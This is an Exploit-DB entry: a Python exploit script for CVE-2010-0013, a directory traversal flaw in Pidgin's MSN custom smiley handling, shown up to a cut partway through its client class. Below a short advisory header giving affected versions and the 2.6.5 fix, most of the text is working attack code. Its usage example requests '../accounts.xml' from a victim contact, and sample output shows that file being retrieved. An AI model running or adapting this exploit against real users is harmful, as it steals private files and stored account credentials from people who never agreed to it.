Exploit-DB #11203
Description: Pidgin MSN 2.6.4 - File Download
Type: remote
Platform: multiple
Date: 2010-01-19
Author: Mathieu GASPARD

Exploit:
#!/usr/bin/env python 
"""
Pidgin MSN <= 2.6.4 file download vulnerability

19 January 2010

Mathieu GASPARD (gaspmat@gmail.com)


Description:
		Pidgin is a multi-protocol Instant Messenger.

		This is an exploit for the vulnerability[1] discovered in Pidgin by Fabian Yamaguchi.
		The issue is caused by an error in the MSN custom smiley feature when processing emoticon requests, 
		which could allow attackers to disclose the contents of arbitrary files via directory traversal attacks.

Affected versions :
		Pidgin <= 2.6.4, Adium and other IM using Pidgin-libpurple/libmsn library.
		Plugin msn-pecan 0.1.0-rc2  (http://code.google.com/p/msn-pecan/) IS also vulnerable even if Pidgin is up to date

Plateforms :
		Windows, Linux, Mac

Fix :
		Fixed in Pidgin 2.6.5
		Update to the latest version : http://www.pidgin.im/download/

References :
		[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013
		[2] http://www.pidgin.im/news/security/?id=42

Usage :
		You need the Python MSN Messenger library : http://telepathy.freedesktop.org/wiki/Pymsn
		python pidgin_exploit.py -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE [-o OUTPUT_FILE] [-l]

Example : 
# python pidgin_exploit.py -a foo@hotmail.com -c victim@hotmail.com -f ../accounts.xml [-o accounts.xml]

		***********************************************************

		Pidgin MSN file download vulnerability (CVE-2010-0013)

		Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]

		***********************************************************

		Please enter the password for the account "foo@hotmail.com"
		Password:
		[+] Connecting to server
		[+] Authentication in progress
		[+] Synchronisation in progress
		[+] OK, all done, ready to proceed
		[+] Sending request for file "../accounts.xml" to "victim@hotmail.com"
		[+] Using session_id 974948028
		Current : 3606, total: 3881  (92%)
		[+] Got an answer from the contact
		----------------
		<?xml version='1.0' encoding='UTF-8' ?>

		<account version='1.0'>
		........
"""


import warnings
warnings.simplefilter("ignore",DeprecationWarning)
import os
import sys
try:
	import pymsn
except ImportError:
	print "Pymsn couldn't be loaded"
	print "On debian-like systems, the package is python-msn"
	sys.exit(-1)
import gobject
import logging
import getpass
import hashlib
from optparse import OptionParser
import signal
import time

SERVER_ADDRESS = 'messenger.hotmail.com'
SERVER_PORT = 1863
FD_OUT = sys.stdout
MAINLOOP = None
# seconds after which, if we didn't get an answer, we quit
TIMEOUT = 5

global_client = None

def quit():
	MAINLOOP.quit()
	sys.exit(0)
	

def check_if_succeeds():
	# if False, we didn't get a chunk so we won't get any file, so we quit
	if global_client.GOT_CONTROL_BLOB == False:
		print "[+] Didn't get an answer from the client after %d seconds, it's likely not vulnerable or the file requested doesn't exist/is not accessible"%TIMEOUT
		print "[+] Exiting"
		global_client.quit()

# called when we get the result data, after our request
def handle_answer(object, client):
	print "\n[+] Got an answer from the contact"
	d = object._data
	data = d.read()
	length = len(data)
	FD_OUT.write(data)
	# if we wrote output to stdout, don't close it
	if FD_OUT != sys.stdout:
		FD_OUT.close()
		print "[+] Wrote %d bytes to file"%length
	client.end = time.time()
	duration = client.end - client.begin
	print "[+] Download lasted %d seconds at %d bytes/s "%(duration,(length/duration))
	client.quit()

def my_on_chunk_recv(transport, chunk):
	global_client._p2p_session_manager._transport_manager._on_chunk_received_OLD(transport, chunk)
	session_id = chunk.header.session_id
	blob_id = chunk.header.blob_id
	if session_id == global_client.session_id:
		# first blob is control, we "squeeze" it and keep only the second one
		if global_client.GOT_CONTROL_BLOB == False:
			#print "Got Control blob in our connection (session_id : %d, blob_id: %d)"%(session_id, blob_id)
			global_client.GOT_CONTROL_BLOB = True
		else:
			# if connections is complete, session_id is removed from data_blobs so we have to check before accessing it
			if global_client._p2p_session_manager._transport_manager._data_blobs.has_key(session_id):
				current_blob = global_client._p2p_session_manager._transport_manager._data_blobs[session_id]
				print "Current : %d, total: %d  (%d%%)\r"%(current_blob.current_size, current_blob.total_size, ((current_blob.current_size*100)/current_blob.total_size)),
				sys.stdout.flush()


def error_handler(self, error_type, error):
	# __on_user_invitation_failed, probably because contact is offline/invisible
	if error_type == pymsn.event.ConversationErrorType.CONTACT_INVITE and \
	error == pymsn.event.ContactInviteError.NOT_AVAILABLE:
		print "[*] ERROR, contact didn't accept our invite, probably because it is disconnected/invisible"
		quit()
	# __on_message_undelivered, probably because contact is offline/invisible
	if error_type ==  pymsn.event.ConversationErrorType.MESSAGE and \
	error ==  pymsn.event.MessageError.DELIVERY_FAILED:
		print "[*] ERROR, couldn't send message, probably because contact is disconnected/invisible"
		quit()
	print "[*] Unhandled error, error_type : %d , error : %d"%(error_type, error)
	quit()
	
class MyClient(pymsn.Client):
	def __init__(self, server, quit, victim, filename, list_only, proxies={}, transport_class=pymsn.transport.DirectConnection):
		# callback to quit
		self.quit = quit
		# victim from whom we request the file
		self.victim = victim
		# just list contacts for this account
		self.list_only = list_only
		# file we request
		self.filename = filename
		# to calculate download duration and speed
		self.begin = 0
		self.end = 0
		# session_id of the connection to retrieve the file
		self.session_id = 0
		# have we already seen the "control blob" for this connec